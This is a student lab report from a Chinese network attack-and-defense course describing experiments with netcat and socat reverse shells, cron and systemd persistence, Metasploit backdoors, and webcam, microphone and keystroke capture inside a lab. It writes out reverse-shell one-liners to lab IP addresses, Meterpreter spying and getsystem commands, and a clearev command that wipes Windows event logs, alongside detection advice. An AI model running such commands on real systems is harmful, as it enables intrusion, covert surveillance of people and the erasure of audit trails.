20232402 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实验过程
2.1 使用netcat获取主机Shell及cron启动
这个part我做了两个版本:版本一为Win担任攻击机,kali担任靶机;版本二为Win担任靶机,kali担任攻击机
版本一:
2.1.1 获取反向shell
- Win(攻击机)执行监听:
nc -lvp 4444 (-l 监听,-v 显示详情,-p 指定端口 4444)
![image]()
- Kali(靶机)执行反向连接:
先查看Win(攻击机)的ip:
![image]()
nc 192.168.43.108 4444 -e /bin/bash # 连接攻击机IP和端口,绑定bash(这里的ip是攻击机的)
执行后会立马发现攻击机中出现了靶机的shell,输入ls,可出现目录文件,证明已经成功
![image]()
2.1.2 通过 cron 设置周期性任务(此处设置每 2 分钟向攻击机发送系统登录日志)
选择编辑方式vim

执行crontab -e
添加*/2 * * * * /tmp/cron_job.sh # 每2分钟执行一次脚本

完成添加

创建脚本


为脚本添加可执行权限

完成啦

版本二:
2.1.1 获取反向shell
- Kali(攻击机)执行监听:
nc -lvp 4444 (-l 监听,-v 显示详情,-p 指定端口 4444)
![image]()
- Windows(靶机)执行反向连接:
先查看Kali(攻击机)的ip:
![image]()
D:\nc.exe 192.168.43.228 4444 -e cmd.exe(这里的ip是攻击机的)
![image]()
执行后会立马发现攻击机中出现了靶机的shell,这里是cmd
![image]()
![image]()
2.1.2 通过 Windows 任务计划设置定时任务

命名描述

每天,20:05开始


启动程序


摘要
属性

好啦,时间一到就成功啦!

2.2 使用 socat 获取主机操作 Shell 及任务计划启动
socat支持更稳定的双向通信,适合替代netcat实现持久化连接。
2.2.1 直接获取 Shell
- 攻击机(Windows) 监听端口:
socat TCP-LISTEN:6666 - # 监听6666端口,"-"表示转发标准输入输出(warning无伤大雅,不用管)
![image]()
- 靶机(Kali) 执行命令,建立 Shell 连接:
socat TCP:192.168.43.108:6666 EXEC:/bin/bash,pty,stderr # pty确保交互性,stderr转发错误输出
![image]()
Windows 攻击机获取 Kali 的bash Shell,支持Tab补全、命令历史和颜色显示,稳定性优于netcat,好厉害!

2.2.2 配置 Kali 任务计划启动
通过systemd设置开机自动启动socat连接,实现后门持久化。

添加如下内容
重新加载服务配置

设置开机自启

立即启动服务

Windows 攻击机监听 7777 端口,攻击机成功接收连接,输入pwd显示 Kali 当前路径。Kali 重启后,攻击机无需重新操作即可自动获取 Shell,持久化成功。

2.3 使用 MSF meterpreter 生成后门并传输运行
2.3.1 生成 Kali 靶机后门程序
Windows 攻击机打开msfconsole

生成的kali_backdoor.elf保存在当前目录D:\metasploit-framework\bin

2.3.2 通过 ncat 传输后门到 Kali 靶机
- 攻击机(Windows) 发送后门文件
![image]()
- 靶机(Kali) 接收文件(保存到/tmp目录)并赋予执行权限
![image]()
2.3.3 运行后门并获取 meterpreter 会话
- 攻击机msfconsole配置监听
(是小兔子诶!)
![image]()
![image]()
- 靶机(Kali)运行后门
![image]()
攻击机msfconsole显示 “Meterpreter session 1 opened”,输入shell进入 Kali 交互界面,执行pwd,ls等命令,证明会话建立成功。

2.4 生成功能型后门(音频 / 摄像头 / 击键记录)及提权
刚开始我的攻击机是 Windows(如你用 Windows 版 Metasploit),目标机是 Linux,则 Meterpreter 会话的类型是 linux/x64,不支持 record_mic。

而当攻击机是 Kali Linux、靶机是 Windows 时,是最典型的渗透测试场景之一,此时 Meterpreter 对 Windows 靶机的音频录制、摄像头捕获、击键记录等功能原生支持,操作也更顺畅,所以此处选择攻击机是Kali 、靶机是Win。
2.4.1 在 Kali 生成 Windows 后门

2.4.2 将后门传到 Windows 靶机

2.4.3 在 Kali 启动 Metasploit 监听


2.4.4 在 Windows 靶机中,双击运行下载的win_backdoor.exe(弹出安全提示,选择 “允许运行”,实验环境中操作)
2.4.5 获取 Meterpreter 会话并执行功能
- 录制音频(record_mic)
meterpreter > record_mic -d 10 # 录制10秒音频
![image]()
- 摄像头操作(webcam_*)
meterpreter > webcam_list # 列出靶机摄像头
meterpreter > webcam_snap # 拍一张照片(保存到Kali)
meterpreter > webcam_stream # 实时摄像头流(按 Ctrl+C 停止)



(会实时变动,就是有点慢)
- 击键记录(keyscan_*)
meterpreter > keyscan_start # 开始记录击键
# 等待靶机输入内容(如在记事本打字)
meterpreter > keyscan_dump # 查看记录的击键内容
meterpreter > keyscan_stop # 停止记录

在相应文件夹下可看到生成的文件

2.4.6 尝试提权
使用getsystem命令

并不能够提权
2.4.7 清理痕迹(可选~)
完成测试后,删除靶机上的后门和临时文件:
meterpreter > delete C:\Users\靶机用户名\Desktop\win_backdoor.exe # 删除后门
meterpreter > clearev # 清除Windows事件日志
2.5 MSF 生成 shellcode 注入 pwn1 获取反弹 Shell
2.5.1 Windows 攻击机生成 Linux 32 位反向 TCP shellcode(适配pwn1的 64 位架构)


2.5.2 在靶机(Kali Linux)上注入攻击字符串到pwn1

调整payload多次后还是失败了qwq,所以决定换个方法:
2.5.1 Windows 攻击机生成后门

2.5.2 将后门传到 Kali 靶机

2.5.3 赋予新程序可执行权限

2.5.4 Windows 攻击机启动监听

2.5.5 Kali 靶机执行后门

2.5.6 ls验证是否真正控制了靶机

成功啦(就是好卡)
3.问题及解决方案
-
问题1:win中出现乱码。
![image]()
-
问题1解决方案:
查看kali编码,发现是UTF-8
![image]()
查看win编码,发现是GBK(936代表GBK)
![image]()
设置 → 时间和语言 → 语言 & 区域 → 管理语言设置 → 更改系统区域设置,在页面中勾选Beta版即可将win改为UTF-8编码啦
![image]()
(65001代表UTF-8)
![image]()
![image]()
-
问题2:配置 Kali 任务计划启动时无法设置开机自启
![image]()
-
问题2解决方案:socat_service.service里面不能放注释,因为识别不了#为注释符
-
问题3:gets()报错。
![image]()
-
问题3解决方案:
gets 函数没有在代码中显式声明。
![image]()
它在 C99 及以后的标准中被废弃了,在代码开头添加 gets 函数的声明即可。![image]()
4.学习感悟、思考等
感悟:
- 本次实验汲取了上次实验的经验教训,先将原理摸透,然后边做边写实验报告。因而原理服务于实践,做起来更顺畅,也避免了写实验报告时忘记了当时想法的问题。
- 熟能生巧,多多练习很有用。
问题回答:
(1)后门进入系统的可能方式
- 恶意文件传输:如part3中通过ncat/socat将MSF生成的后门程序传输到靶机,若靶机用户误执行该文件(或被诱骗点击),后门即可激活并连接攻击机。
- 漏洞利用注入:如part5中,通过pwn1程序的缓冲区溢出漏洞,将shellcode注入内存并执行,无需依赖用户主动运行文件,直接通过漏洞植入后门。
- 社会工程学:例如伪装成正常软件(如part4中的功能型后门,可能伪装成系统工具),诱导用户下载安装。
(2)后门启动方式(Windows及Linux)
- Linux系统:
- cron任务:如part1通过
crontab -e配置定时任务,后门可被设置为每分钟/每小时自动运行,随cron守护进程启动。 - 开机自启脚本:通过修改
/etc/rc.local、/etc/profile或~/.bashrc,在系统启动或用户登录时自动执行后门命令。 - 服务伪装:将后门注册为系统服务,随系统服务启动。
- cron任务:如part1通过
- Windows系统:
- 任务计划程序:如part1通过
schtasks创建开机自启任务,后门可被配置为“系统启动时”“用户登录时”或定时触发。 - 注册表启动项:修改
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run等注册表项,添加后门路径,实现开机自启。 - 服务启动:通过
sc create创建Windows服务,设置启动类型为“自动”,后门随系统服务加载。
- 任务计划程序:如part1通过
(3)Meterpreter印象深刻的功能
- 全方位监控能力:可直接通过
webcam_snap获取摄像头快照、record_mic录制麦克风音频、keyscan_start/_dump记录键盘输入(包括密码、聊天内容等),实现对靶机的隐蔽监控,且操作无需复杂配置,一条命令即可完成。 - 持久化渗透:通过
run persistence模块在靶机植入持久化后门(如修改注册表、创建计划任务),即使靶机重启,攻击机仍能重新连接,解决了实验二中手动配置任务计划的繁琐问题。 - 提权便捷性:集成
getsystem(Windows)、sudo提权脚本等功能,可快速尝试从普通用户权限提升至系统权限,直接获取靶机的完全控制(如实验四中尝试提权后可修改系统关键配置)。 - 文件系统操作:通过
download/upload命令可自由传输文件(如实验三中传输后门的反向操作),且支持cd/ls等交互式文件管理,操作体验接近本地Shell。
(4)发现系统是否被安装后门的方法
基于实验中后门的特征,可通过以下方式排查:
-
进程与网络连接:
- 查看异常进程:Linux用
ps aux | grep -v grep | grep 可疑路径(如实验中的/tmp/backdoor.elf),Windows用任务管理器或tasklist,关注未知名称、无图标、CPU/内存占用异常的进程。 - 检查网络连接:Linux用
netstat -tulnp或ss -antp,Windows用netstat -ano,寻找与陌生IP的持续连接(如实验中攻击机的192.168.1.100:4444)。
- 查看异常进程:Linux用
-
启动项与定时任务:
- Linux检查
crontab -l(用户级)、/etc/cron.d/(系统级)是否有未知定时任务(如实验一中的touch /tmp/test_cron.txt被替换为后门命令);Windows检查“任务计划程序”和注册表Run项,是否有非官方的自启任务。
- Linux检查
-
文件完整性与异常路径:
- 检查
/tmp、/var/tmp(Linux)或C:\Windows\Temp(Windows)等临时目录,是否有不明可执行文件(如实验三中传输的backdoor.elf)。 - 对比系统关键文件(如
/bin/bash、C:\Windows\system32\cmd.exe)的哈希值与官方值,若不一致可能被篡改植入后门。
- 检查
-
日志审计:
- Linux查看
/var/log/auth.log(登录日志)、/var/log/syslog(系统日志),寻找异常登录记录或命令执行痕迹(如实验中反弹Shell的nc/socat命令)。 - Windows查看“事件查看器”中的“安全日志”,关注异常登录、进程创建事件(如实验中后门程序的启动记录)。
- Linux查看
-
思考1:
为什么WSF能生成shellcode? -
思考1解答:
MSF(Metasploit Framework)是一个集成了多种渗透测试工具的框架,其中msfvenom工具专门用于生成shellcode和后门程序。
shellcode本质是一段可执行的机器码(二进制指令),作用是完成特定功能(如反弹Shell、执行命令等)。不同操作系统(Linux/Windows)、架构(32位/64位)、功能需求(反向连接/正向连接)需要的shellcode完全不同。
msfvenom内置了大量预定义的shellcode模板,只需指定目标系统(如linux/x86)、功能(如shell_reverse_tcp)、攻击机IP和端口,就能自动生成适配的二进制机器码,无需手动编写汇编指令。 -
思考2:
题目要求“注入shellcode”,为什么要生成payload? -
思考2解答:
shellcode是一段二进制指令,但它需要被放在内存中可执行的位置(如栈),并且需要通过“修改返回地址”让程序跳转到shellcode的起始位置才能执行。
shellcode是payload的一部分,单独的shellcode无法直接注入漏洞程序,必须通过payload包装后才能触发漏洞。
payload = 填充字符 + 返回地址 + [NOP填充] + shellcode


























浙公网安备 33010602011771号